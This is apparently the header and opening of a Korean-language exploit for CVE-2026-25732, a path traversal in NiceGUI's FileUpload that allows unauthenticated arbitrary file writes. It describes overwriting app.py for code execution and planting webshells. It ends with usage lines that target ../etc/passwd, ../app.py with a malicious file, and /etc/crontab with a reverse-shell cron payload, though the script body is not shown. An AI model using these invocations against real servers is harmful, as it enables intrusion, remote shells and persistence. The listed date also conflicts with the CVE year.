
CVE-2026-25732에 대한 익스플로잇으로, NiceGUI의 FileUpload에서 발생하는 경로 탐색(path traversal) 취약점으로 인증 없이 임의 파일 쓰기가 가능합니다. 애플리케이션 파일 덮어쓰기 또는 웹셸(webshell) 배포를 위한 사용 예시가 포함되어 있습니다.
작성자: Mohammed Idrees Banyamer
연락처:
익스플로잇 제목: NiceGUI FileUpload 경로 탐색으로 인한 임의 파일 쓰기
날짜: 2025-06-06
테스트 환경: NiceGUI ≤ 3.6.1 (Linux / Windows에서 Python 3.8 – 3.12)
수정 버전: NiceGUI 3.7.0
CVE: CVE-2026-25732
취약점 유형: CWE-22 — 제한된 디렉터리 경로명의 부적절한 제한
공격 경로: 네트워크
필요 권한: 없음
사용자 상호작용: 없음
플랫폼: 웹 애플리케이션 (NiceGUI / Python)
NiceGUI ≤ 3.6.1 버전은 애플리케이션 개발자가 추가적인 검증 없이 저장 경로에 원본 파일명을 사용할 때 ui.upload() / FileUpload 핸들러에서 업로드된 파일의 name 필드를 제대로 검증하지 않습니다.
이로 인해 인증되지 않은 공격자가 경로 탐색 시퀀스(../, 절대 경로 등)를 통해 NiceGUI 프로세스에 쓰기 권한이 있는 모든 위치에 임의 파일을 쓸 수 있습니다.
일반적인 영향 사례:
app.py / main.py 덮어쓰기 → 애플리케이션 재로드/재시작 시 코드 실행/etc/, 홈 디렉터리, .ssh/, 구성 폴더 등에 파일 쓰기#!/usr/bin/env python3
"""
CVE-2026-25732 — NiceGUI 임의 파일 쓰기 (경로 탐색)
앱이 저장 경로에 FileUpload.name을 사용할 때 검증되지 않은 값을 악용합니다.
사용법:
python exploit_cve_2026_25732.py http://target:8080 "../etc/passwd" payload.txt
python exploit_cve_2026_25732.py http://target:8080 "../app.py" malicious_app.py
python exploit_cve_2026_25732.py http://target:8080 "nicegui/../../../etc/crontab" revshell-cron